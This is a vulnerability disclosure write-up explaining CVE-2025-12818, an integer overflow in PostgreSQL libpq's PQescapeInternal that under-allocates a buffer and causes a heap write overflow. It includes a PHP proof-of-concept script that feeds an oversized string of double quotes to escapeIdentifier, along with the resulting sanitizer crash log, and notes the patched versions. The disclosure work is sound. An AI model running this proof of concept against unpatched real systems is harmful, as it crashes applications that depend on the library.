Databases serve as the foundation of the digital world, organizing and storing critical information: from financial transactions and medical records to website content. However, like any complex software product, they are not immune to flaws, and discovered vulnerabilities can turn this repository into a prime target for attacks. This applies in full to PostgreSQL as well—a system with a reputation as a benchmark of reliability, whose hidden issues may be no less serious than its obvious advantages.
PostgreSQL is a free, open source object relational database management system (DBMS). It stores, processes, and retrieves data using SQL, and supports modern features such as user data, stored procedures, and triggers. PostgreSQL is known for its reliability, flexibility, scalability, and ability to work with complex datasets.
libpq is PostgreSQL’s official client library designed for interacting with PostgreSQL databases from programs written in C. It is distributed as part of PostgreSQL and provides a low level API for connecting to a PostgreSQL server, executing SQL queries, processing results, and managing connections.
We identified an integer overflow vulnerability in the PQescapeInternal function, which is called by PQescapeLiteral and PQescapeIdentifier.
Background
An integer overflow occurs when the result of an arithmetic operation on integers exceeds the maximum value representable by a variable of that type. This can cause unpredictable program behavior, errors, and crashes that an attacker can exploit.
When a string of a certain length containing single or double quotes or backslashes was passed and the vulnerability was exploited, libpq calculated an allocation that was too small. It then wrote data hundreds of megabytes past the end of the allocated memory. For the application using PostgreSQL libpq, this resulted in a segmentation error.
Technical details
Let’s look at the PQescapeLiteral and PQescapeIdentifier functions in postgres/src/interfaces/libpq/fe-exec.c. These functions call another function, PQescapeInternal, with different values for the fourth argument, which is of type bool.
When PQescapeLiteral or PQescapeIdentifier is called from an external source, pay attention to the second and third parameters: a pointer to the beginning of the string being passed and the length of that string of type size_t (unsigned long).
- PQescapeLiteral escapes values (literals) that are inserted as data (for example, in VALUES or WHERE clauses). It wraps the string in single quotes (
') and escapes special characters inside it (for example, replacing'with''). - PQescapeIdentifier escapes object names (identifiers) such as table, column, or schema names. It wraps the string in double quotes (
") and escapes special characters when the name contains spaces, uppercase letters, or reserved words (for example, select).
Functions PQescapeLiteral and PQescapeIdentifier in postgres/src/interfaces/libpq/fe-exec.c
char *
PQescapeLiteral(PGconn *conn, const char *str, size_t len)
{
return PQescapeInternal(conn, str, len, false);
}
char *
PQescapeIdentifier(PGconn *conn, const char *str, size_t len)
{
return PQescapeInternal(conn, str, len, true);
}
Now let’s examine the internal function PQescapeInternal in more detail. Look at how the variables num_quotes and num_backslashes are initialized. They are of type int, that is, signed int. Let’s also look at the initialization of the input_len variable of type size_t, where the length of the string to be sanitized is recomputed.
A bit further down, around line 4249, there is a loop whose purpose is to iterate over each character in the string being processed. It counts single or double quotes and backslashes using a prefix increment of num_quotes (line 4252) and num_backslashes (line 4254), and handles multibyte sequences if present.

The question is what happens if the function receives a very long string from outside that consists only of, say, double quotes?
Before answering that, let’s analyze a table containing integer types, their sizes, and their ranges.
| Type | Size | Signed | Unsigned |
|---|---|---|---|
char | 1 byte (8 bits) | -128 to 127 | 0 to 255 |
short (short int) | 2 bytes (16 bits) | -32,768 to 32,767 | 0 to 65 535 |
int | 4 bytes (32 bits) | -2,147,483,648 to 2,147,483,647 | 0 to 4,294,967,295 |
long (long int) | 4 bytes (32 bits) on 32 bit systems or 8 bytes (64 bits) on 64 bit systems | Range depends on size | Range depends on size |
long long (long long int) | 8 bytes (64 bits) | -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807 | 0 to 18,446,744,073,709,551,615 |
The variables we care about are num_quotes, num_backslashes (type int or signed int) and input_len, remaining (type size_t, unsigned long int):
- For
num_quotes,num_backslashes(signed int), the ranges are from -2,147,483,648 to 2,147,483,647. - For
input_len,remaining(unsigned long int), the ranges are from 0 to 18,446,744,073,709,551,615.
Let’s call PQescapeIdentifier, which in turn will call PQescapeInternal and pass it a very large string of size 2,147,483,647 + 1 byte containing, for example, double quotes. We want to see what value the num_quotes variable will have after counting all the quotes in the loop.
Before execution enters the loop, num_quotes is 0, as shown on the left side of the screenshot below.
Inside the loop, the function iterates over the entire externally supplied string character by character. In our case, this is a 2,147,483,647 + 1 byte string consisting of double quotes. Next, the num_quotes variable is incremented using the prefix increment operator at line 4252.

On line 4298, the execution exits the loop, and the num_quotes variable has the value -2,147,483,648. In other words, an integer overflow is triggered with a variable of type signed int.

On that same line 4298, the size of the memory block to allocate is computed. At this point we see:
- The
input_lenvariable of typesize_tsupports a large range of values and contains the length of the entire string being processed: 2_147_483_648. - The
num_quotesvariable, which is of typesigned int, has a relatively small range of values, so when it is incremented from 2,147,483,647 by one, it wraps around and becomes -2,147,483,648. - Additionally, 3 bytes are added for the two surrounding quotes and
NULL.
As a result, the calculation is: 2,147,483,648 + (–2,147,483,648) + 3 = 3 bytes.

Three bytes (or slightly more) are then allocated in memory by calling the malloc function.
Backgroundmalloc (memory allocation) is a C library function for dynamically allocating a contiguous block of memory on the heap. It returns a pointer to the beginning of the allocated block (or NULL if the allocation fails). The allocated memory is uninitialized and must be explicitly freed later using the function free.malloc allocates a memory block of at least size bytes. The size of the block may exceed size bytes due to additional space required for alignment and bookkeeping information.
After malloc successfully allocates memory, execution enters a loop whose task is to “rebuild” the entire externally supplied string character by character and write the result into the previously allocated buffer. Because of the integer overflow vulnerability, this buffer is only 3 (or slightly more) bytes in size.
During rebuilding, single quotes, double quotes, and backslashes are escaped. The string being rebuilt is 2,147,483,648 bytes long, but only a relatively small amount of memory was allocated on the heap. This causes a segmentation error.

Exploitation
So far, we have described where and why the vulnerability occurs in the libpq library of the PostgreSQL DBMS. We have also mentioned that this library is a client library and can be used by various software products written in C.
Now let’s see how this issue can be escalated, for example, in PHP. PHP includes two built in drivers: pdo_pgsql and pgsql. We will show code that interacts with PostgreSQL through the pdo_pgsql driver. The interaction consists of connecting to the PostgreSQL DBMS, creating a string 2,147,483,647 + 1 character of length, made up of double quotes in the $str variable, and then passing this variable to the PDO\Pgsql::escapeIdentifier function to sanitize a column name. After that, the code builds an SQL query, sends it to the DBMS, and displays the result.
Escalating the vulnerability to PHP
<?php
ini_set('memory_limit', '-1');
$dsn = "pgsql:host=localhost;port=5432;dbname=db";
$username = 'manager';
$password = 'password';
try {
$pdo = new PDO\Pgsql($dsn, $username, $password);
$str = str_repeat('"', 2_147_483_647 + 1);
$column = $pdo->escapeIdentifier($str);
$sql = "SELECT $column FROM users";
$stmt = $pdo->prepare($sql);
$stmt->execute();
foreach ($stmt as $row) {
print_r($row);
}
} catch (PDOException $e) { echo $e->getMessage(); }
?>
When we call the PDO\Pgsql::escapeIdentifier method (php-src/ext/pdo_pgsql/pdo_pgsql.c) from PHP, we see that its implementation calls PostgreSQL libpq’s PQescapeIdentifier function at line 83. In turn, PQescapeIdentifier calls PQescapeInternal, the function discussed earlier.

Now let’s run the PHP script from the listing above. Already at the PDO\Pgsql::escapeIdentifier stage, we see the expected error, which indicates that the vulnerability has been successfully escalated from PostgreSQL’s libpq library to the pdo_pgsql PHP driver.
Expected PostgreSQL libpq error triggered at the PHP driver level
$ ./php cli.php
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1344399==ERROR: AddressSanitizer: SEGV on unknown address 0x502000010000 (pc 0x71f208899b9a bp 0x000000000022 sp 0x7ffefcc26210 T0)
==1344399==The signal is caused by a WRITE memory access.
#0 0x71f208899b9a in PQescapeInternal /home/administrator/Applications/PostgreSQL/postgres/src/interfaces/libpq/fe-exec.c:4347
#1 0x5b45f445ad05 in zim_Pdo_Pgsql_escapeIdentifier /home/administrator/Applications/php/php-src/ext/pdo_pgsql/pdo_pgsql.c:83
#2 0x5b45f4d88d34 in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER /home/administrator/Applications/php/php-src/Zend/zend_vm_execute.h:2152
#3 0x5b45f4ee9359 in execute_ex /home/administrator/Applications/php/php-src/Zend/zend_vm_execute.h:116486
#4 0x5b45f4efe226 in zend_execute /home/administrator/Applications/php/php-src/Zend/zend_vm_execute.h:121924
#5 0x5b45f5061e38 in zend_execute_script /home/administrator/Applications/php/php-src/Zend/zend.c:1975
#6 0x5b45f4a983ab in php_execute_script_ex /home/administrator/Applications/php/php-src/main/main.c:2645
#7 0x5b45f4a987bb in php_execute_script /home/administrator/Applications/php/php-src/main/main.c:2685
#8 0x5b45f50679a8 in do_cli /home/administrator/Applications/php/php-src/sapi/cli/php_cli.c:951
#9 0x5b45f5069f75 in main /home/administrator/Applications/php/php-src/sapi/cli/php_cli.c:1362
#10 0x71f20782a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#11 0x71f20782a28a in __libc_start_main_impl ../csu/libc-start.c:360
#12 0x5b45f3c07e54 in _start (/home/administrator/Applications/php/php-src/sapi/cli/php+0x607e54) (BuildId: 60592862c6b711c7d2ef31be03541e47ad3b71a0)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/administrator/Applications/PostgreSQL/postgres/src/interfaces/libpq/fe-exec.c:4347 in PQescapeInternal
==1344399==ABORTING
Fix
The fix for this integer overflow vulnerability was published in the postgres/postgres repository on November 10, 2025. On November 13, 2025, an advisory for the vulnerability CVE-2025-12818 was issued, assigning it a CVSS 3.0 score of 5.9. The vulnerability was fixed in versions 18.1, 17.7, 16.11, 15.15, 14.20, and 13.23.
Conclusion
Based on our report, the vendor of PostgreSQL, one of the world’s most widely used DBMSs, has corrected this low level vulnerability in the libpq library. In this research, we have shown that problems in low level libraries can be easily escalated to higher level abstractions, potentially leading to much broader impact.
Thank you for reading.